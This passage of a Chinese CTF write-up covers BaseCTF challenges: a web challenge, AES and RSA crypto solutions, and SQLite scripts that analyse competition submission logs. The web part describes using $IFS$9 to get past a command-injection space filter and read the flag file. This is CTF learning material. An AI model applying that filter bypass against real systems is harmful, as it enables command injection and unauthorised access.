来充当空格,因为这个变量在Linux系统里面默认指向空格(可参考下图GPT的解释)
所以就可以构建出下面这样的payload来搜索flag
的位置
然后把它cat出来就可以了,cat这里我用的是第二种表示方法,即$IFS$9
Crypto helloCrypto
第一步,装好python;第二步,学会装库。
附件是Python代码,直接反着来就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from Crypto.Util.number import long_to_bytesfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadkey1 = 208797759953288399620324890930572736628 ciphertext = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae' key = long_to_bytes(key1) my_aes = AES.new(key=key, mode=AES.MODE_ECB) plaintext = unpad(my_aes.decrypt(ciphertext), AES.block_size) print (plaintext.decode())
ez_rsa 下载下来还是Python代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from Crypto.Util.number import *import gmpy2m=bytes_to_long(b'BaseCTF{th1s_is_fake_fl4g}' ) e=65537 p=getPrime(512 ) q=getPrime(512 ) n=p*q not_phi=(p+2 )*(q+2 ) c=pow (m,e,n) print (n)print (not_phi)print (c)''' 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945 '''
题目里特意告诉你那个是not_phi
,然而我们可以算出phi_n
所以我们可以得到
然后写成代码就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from Crypto.Util.number import long_to_bytesfrom sympy import mod_inversee = 65537 n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421 not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205 c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945 phi_n = (3 * n - not_phi + 6 ) // 2 print ("φ(n):" , phi_n)d = mod_inverse(e, phi_n) if d: m = pow (c, d, n) flag_bytes = long_to_bytes(m) print ("解密后的消息:" , flag_bytes.decode()) else : print ("无法计算私钥 d。" )
PPC (Practical Programming and Coding) BaseCTF 崩啦 - 导言
本题为系列题目, 请按照题目名称中顺序进行解答获得最佳体验
悲报~ BaseCTF 崩溃啦!
7w 条提交记录, 服务器顶不住计算排行榜的压力, 崩溃啦!
Kengwang 拼尽全力抢救下来了数据和日志, 他悬赏了几个 Flag, 找到人能够对这些数据进行处理.
此题目为导言题, 请下载附件, 阅读其中的 readme.txt
, 系列题目的附件不变动
数据处理 刚好导言没有什么要求,我们先过一遍数据,因为如果从json中去搜索数据的话太慢了,所以我这里用了sqlite来搜索数据,也同时利用SQL的高效性
我写了一个Python脚本来帮我进行数据的处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 import sqlite3import jsonimport refrom tqdm import tqdmfrom datetime import datetime, timezone, timedeltawith open ("data.db" , "w" , encoding="utf8" ) as f: pass def time2ts (TIME_STRING: str ) -> int : """ This is a function that can convert the time expression to timestamp Parameter: TIME_STRING(str): The time string Returns: int: The timestamp of the time string """ time_str = TIME_STRING dt = datetime.fromisoformat(time_str) timestamp = dt.timestamp() return timestamp def time2tsFromSubmission (TIME_STRING: str ) -> int : dt_naive = datetime.strptime(TIME_STRING, "%Y/%m/%d %H:%M:%S" ) timezone_offset = timedelta(hours=8 ) dt_with_timezone = dt_naive.replace(tzinfo=timezone(timezone_offset)) timestamp = dt_with_timezone.timestamp() return timestamp conn = sqlite3.connect("data.db" ) def importChallenges (challengeFilePath: str ) -> None : command = "CREATE TABLE challenges (id TEXT PRIMARY KEY, name TEXT, point INTEGER, endat TEXT);" cursor = conn.cursor() cursor.execute(command) conn.commit() with open (challengeFilePath, "r" , encoding="utf8" ) as f: challenges = json.loads(f.read()) for challenge in tqdm(challenges): challengeId = challenge["Id" ] challengeName = challenge["Name" ] challengePoints = challenge["Points" ] challengeEndAt = time2ts(challenge["EndAt" ]) command = "INSERT INTO challenges (id, name, point, endat) VALUES (?, ?, ?, ?)" cursor.execute( command, (challengeId, challengeName, challengePoints, challengeEndAt) ) conn.commit() def importFlags (flagFilePath: str ) -> None : command = ( "CREATE TABLE flags (flag TEXT PRIMARY KEY, teamId TEXT, challengeId TEXT)" ) cursor = conn.cursor() cursor.execute(command) conn.commit() with open (flagFilePath, "r" , encoding="utf8" ) as f: flags = json.loads(f.read()) for flag in tqdm(flags): flagContent = flag["Flag" ] flagTeam = flag["TeamId" ] flagChallenge = flag["ChallengeId" ] command = "INSERT INTO flags (flag, teamId, challengeId) VALUES (?, ?, ?)" cursor.execute(command, (flagContent, flagTeam, flagChallenge)) conn.commit() def importSubmissions (submissionFilePath: str ) -> None : command = "CREATE TABLE submissions (team TEXT, challenge TEXT, flag TEXT, who TEXT, ip TEXT, time INGETER)" cursor = conn.cursor() cursor.execute(command) conn.commit() with open ("submissions.log" , "r" , encoding="utf8" ) as f: lines = f.readlines() for line in tqdm(lines): time = re.search( r"\[\d{4}/\d{1,2}/\d{1,2} \d{1,2}:\d{1,2}:\d{1,2} \+\d{2}:\d{2} INF\]" , line ) time = time.group().strip("[]" ) if time else "" time = time2tsFromSubmission(time.replace(" +08:00 INF" , "" )) team = re.search(r"队伍 \[(.+?)\]" , line) team = team.group(1 ) if team else "" challenge = re.search(r"题目 \[\[Week\d\](.+?)\]" , line) week = re.findall(r"\[Week\d\]" , line)[0 ] challenge = week + " " + challenge.group(1 ).strip() if challenge else "" flag = re.search(r"BaseCTF\{[^\}]+\}" , line) flag = flag.group() if flag else "" who = re.search(r"<([^<>]+)> @ \d+\.\d+\.\d+\.\d+$" , line) who = who.group(1 ) if who else "" ip = re.search(r" @ (\d+\.\d+\.\d+\.\d+)" , line) ip = ip.group(1 ) if ip else "" command = "INSERT INTO submissions (team, challenge, flag, who, ip, time) VALUES (?, ?, ?, ?, ?, ?)" cursor.execute(command, (team, challenge, flag, who, ip, time)) conn.commit() def importTeamsAndUsers (teamsFilePath: str ) -> None : command = "CREATE TABLE teams (id TEXT PRIMARY KEY, name TEXT, member1 TEXT, member2 TEXT)" cursor = conn.cursor() cursor.execute(command) command = "CREATE TABLE users (id TEXT PRIMARY KEY, name TEXT)" cursor.execute(command) conn.commit() with open (teamsFilePath, "r" , encoding="utf8" ) as f: teams = json.loads(f.read()) for team in tqdm(teams): teamId = team["Id" ] teamName = team["Name" ] member1 = team["Members" ][0 ]["Id" ] member2 = None command = "INSERT INTO users (id, name) VALUES (?, ?)" cursor.execute( command, (team["Members" ][0 ]["Id" ], team["Members" ][0 ]["UserName" ]) ) if len (team["Members" ]) == 2 : member2 = team["Members" ][1 ]["Id" ] cursor.execute( command, (team["Members" ][1 ]["Id" ], team["Members" ][1 ]["UserName" ]) ) command = "INSERT INTO teams (id, name, member1, member2) VALUES (?, ?, ?, ?)" cursor.execute(command, (teamId, teamName, member1, member2)) conn.commit() if __name__ == "__main__" : importChallenges("challenges.json" ) importFlags("flags.json" ) importSubmissions("submission.log" ) importTeamsAndUsers("teams.json" )
经过了大约40分钟,数据就成功导入到sqlite数据库了
BaseCTF 崩啦 II - 过期了? Damien Schroeder
队的队长反映为什么他提交正确后却没有总分增加? 一定是过了截止时间了! 看看他有哪些题目是在截止时间后提交的吧.
请获取到他们所有在截止时间后提交的题目的 Id, 按照提交顺序进行排序, 将这些 ID 用西文逗号进行拼接, 计算其 MD5 得到值
Flag 格式: BaseCTF{计算得到的 MD5}
用Python写一个脚本即可,但是要注意按照提交时间排序
因为所有的题目的截止时间是一样的,所以直接按照一个题目的时间算就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import sqlite3import hashlibconn = sqlite3.connect("data.db" ) def getChallengeExpireTimeFromName (challenge: str ) -> int : cursor = conn.cursor() command = "SELECT endat FROM challenges WHERE name=?" cursor.execute(command, (challenge,)) time = int (cursor.fetchone()[0 ].replace(".0" , "" )) return time def getTeamSubmissionsFromTeamName (team_name: str ) -> list : cursor = conn.cursor() command = "SELECT time, challenge FROM submissions WHERE team=?" cursor.execute(command, (team_name,)) submission_list = cursor.fetchall() return submission_list def getChallengeIdFromName (challenge_name: str ) -> str : cursor = conn.cursor() command = "SELECT id FROM challenges WHERE name=?" cursor.execute(command, (challenge_name,)) challenge_id = cursor.fetchone()[0 ] return challenge_id if __name__ == "__main__" : expire_time = getChallengeExpireTimeFromName("[Week3] ez_log" ) submission_list = getTeamSubmissionsFromTeamName("Damien Schroeder" ) expired_challenge_list = [] submission_list.sort(key=lambda x: x[0 ]) for submission in submission_list: if submission[0 ] > expire_time: print (submission[0 ], expire_time, submission[1 ]) expired_challenge_list.append(submission[1 ]) expired_challenge_id_list = [] for challenge in expired_challenge_list: expired_challenge_id_list.append(getChallengeIdFromName(challenge)) expired_challenge_id_string = "" for challenge_id in expired_challenge_id_list: if expired_challenge_id_string == "" : expired_challenge_id_string += challenge_id else : expired_challenge_id_string += "," + challenge_id result = hashlib.md5(expired_challenge_id_string.encode()).hexdigest() print (f"BaseCTF\{{result} \}" )
BaseCTF 崩啦 III - 帮我查查队伍的解题 该系列后面的题目我放下面,因为没什么时间做了,就没有题解了
Jailyn32: 你好, 我是 Rick Hyatt 队伍的队长, 你能帮我看看我们队伍现在还有哪些题目没有解出吗?
急急急急急急! 他们队伍有哪些题目没有解出呢?
请获取到他们所有没有做对和解出的题目的 Id, 按照题目 json 原本的顺序进行排序, 将这些 ID 用西文逗号进行拼接, 计算其 MD5 得到值
Flag 格式: BaseCTF{计算得到的 MD5}
BaseCTF 崩啦 IV - 排排坐吃果果 越来越多的人来查询了,我们还是放一个排行榜出来吧
你需要对所有有效队伍的提交分数加和,按照分数从大到小排序(同分按照队伍名称字母顺序(ASCII从小到大)排序)。规定前三血 不 额外加分。可能存在得零分的队伍,这些队伍 也要 出现在结果中。
排序完成后按照 队伍名,分数;队伍名,分数;队伍名,分数;......
拼接,最后一个队伍分数后面不加分号,计算拼接好后的 md5 (小写)。
Flag 为: BaseCTF{小写的md5结果}
BaseCTF 崩啦 V - 正义执行! 什么, 有队伍竟然在明目张胆的作弊 (提交其他队伍 Flag), 看我正义执行, 两个队伍都 ban 掉!
请找出所有未参与 作弊的队伍, 将他们的队伍名字按照字典序排列, 使用西文逗号分割, 计算其 MD5 (全小写)
Flag 格式: BaseCTF{MD5 值}
BaseCTF 崩啦 VI - 流量检测? 什么, 你居然在不同的 IP 提交了 Flag? 难道你会瞬移?
请给出所有提交的 IP 变更的队伍, 队伍名称按照字典顺序排序, 用西文逗号拼接, 计算其 MD5
Flag 格式: BaseCTF{计算出来的 MD5}